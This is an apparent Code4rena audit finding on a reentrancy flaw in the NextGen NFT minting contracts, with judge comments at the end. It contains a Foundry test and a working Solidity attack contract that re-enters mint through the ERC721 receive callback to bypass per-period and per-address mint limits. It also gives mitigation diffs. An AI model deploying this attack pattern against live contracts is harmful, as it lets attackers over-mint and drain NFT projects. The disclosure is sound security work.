NextGenMinterContract::mint can be reentered for sales option 3 to mint many NFTs in a single period and bypass viewMaxAllowance for any sales option

[captainmangoC4]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L196 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L231

Vulnerability details

Impact

The reentrancy vulnerability in the NextGenMinterContract::mint function allows an attacker to bypass the restriction of minting only one NFT per period. The reentrencies can be achieved from the _safeMint in the function NextGenCore::_mintProcessing to call the function NextGenMinterContract::mint again and again. The attacker can also bypass the viewMaxAllowance check for any sales option. Consequently, an attacker could exploit this to mint many NFTs within a single period and for any max allowance set.

This could distrupt the collection supply, and bypass any intended restriction and allowance that was set by the function admin of the NextGenCore::createCollection.

Proof of Concept

The issue arises because the following parameters do not update after each call. Basically, after reentering, gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) does not update while _numberOfTokens and gencore.viewMaxAllowance(col) stay the same.

            require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
            require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= 
            gencore.viewMaxAllowance(col), "Max");

Following the same logic, for the sales Option == 3, the following conditions do not revert because :

• _numberOfTokens stays the same (=1)
• collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1)) also stays the same. Since this code will run after the last iteration, the circulating supply will not change (and it will be equal to the number of iteration or reentrencies). As long as tDiff>1, the reentrency will work.

            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * 
            (gencore.viewCirSupply(col) - 1));

POC

You can add this test to the file nextGen.t.sol of our foundry setup in gist C4 nextGen foundry setup. And execute it with the command forge test --mt testCanReenterMintForSaleOption3 -vvvv

    function testCanReenterMintForSaleOption3() public {
        createAndSetCollections();
        Attack attacker = new Attack(address(hhMinter));
        vm.deal(address(attacker), 10 ether);
        vm.deal(address(user), 10 ether);

        bytes32[] memory bytesB = new bytes32[](1);
        bytesB[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
        uint256 msgValue = 1 ether;

        vm.warp(1698138500);
        vm.prank(address(attacker));
        hhMinter.mint{value: msgValue}(3, 1, 100, "tokenData", address(attacker), bytesB, address(0), 1);

        // Check that max allowance per address is equal to 1
        assertEq(hhCore.viewMaxAllowance(3), 1);

        // Check that attacker has minted many NFTs for the same period
        assertEq(IERC721(hhCore).ownerOf(30000000000), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000001), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000002), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000003), address(attacker));
        assertEq(IERC721(hhCore).ownerOf(30000000004), address(attacker));

        // Check that a user cannot mint more than 1 NFT 
        vm.prank(address(user));
        hhMinter.mint{value: 4 ether}(3, 1, 100, "tokenData", address(user), bytesB, address(0), 1);
        vm.expectRevert(abi.encodePacked("Max")); // Can only buy 1 nft per collection
        vm.prank(address(user));
        hhMinter.mint{value: 4 ether}(3, 1, 100, "tokenData", address(user), bytesB, address(0), 1);

    }

// Attack contract

import "smart-contracts/IERC721Receiver.sol";

interface IMinterContract {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;
    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o)
        external
        payable;
}

contract Attack is IERC721Receiver {
    IMinterContract public immutable minterContract;
    uint256 _tokenId;
    uint256 value = 1 ether;
    uint256 rotation;

    constructor(address _minterContract) {
        minterContract = IMinterContract(_minterContract);
        _tokenId = 30000000000 - 1;
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        public
        returns (bytes4)
    {
        rotation += 1;
        while (address(this).balance > 1 && rotation < 5) {
            _tokenId += 1;
            attack(_tokenId);
        }

        return IERC721Receiver.onERC721Received.selector;
    }

    function attack(uint256 tokenId) public payable {
        bytes32[] memory bytesB = new bytes32[](1);
        bytesB[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870;
        value += value * 20 / 100;
        minterContract.mint{value: value}(3, 1, 100, "tokenData", address(this), bytesB, address(0), 1);
    }
}

Tools Used

Manual review + foundry

Recommended Mitigation Steps

• Add reentrancy guards
• Follow CEI pattern for both functions NextGenMinterContract::mint && NextGenCore::mint

For the second recommandation you can consider the following changes :

function NextGenMinterContract::mint :

-        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
-        // control mechanism for sale option 3
-        if (collectionPhases[col].salesOption == 3) {
-            uint timeOfLastMint;
-            if (lastMintDate[col] == 0) { 
-                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; 
-            } else {
-                timeOfLastMint =  lastMintDate[col];
-            }
-            // uint calculates if period has passed in order to allow minting
-            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
-            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
-            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * 
-            (gencore.viewCirSupply(col) - 1));
-            }

    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory 
   _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public 
   payable {
+        collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
+        // control mechanism for sale option 3
+        if (collectionPhases[col].salesOption == 3) {
+            uint timeOfLastMint;
+            if (lastMintDate[col] == 0) { 
+                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; 
+            } else {
+                timeOfLastMint =  lastMintDate[col];
+            }
+            // uint calculates if period has passed in order to allow minting
+            uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
+            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
+            lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * 
+            (gencore.viewCirSupply(col)));
+            }

function NextGenCore::mint :

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= 
            collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
-            if (phase == 1) {
-                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = 
-                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
-            } else {
-                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID] 
-                [_mintingAddress] + 1;
-            }
        }
    }
    }

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 
   _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = 
        collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= 
            collectionAdditionalData[_collectionID].collectionCirculationSupply) {
+            if (phase == 1) {
+                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = 
+                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
+            } else {
+                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID] 
+                [_mintingAddress] + 1;
+            }
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        }
    }

Assessed type

Reentrancy

[captainmangoC4]

Issue created on behalf of judge in order to split into 2 findings

[c4-judge]

alex-ppg marked the issue as duplicate of #572

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 3 (High Risk)

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Invalid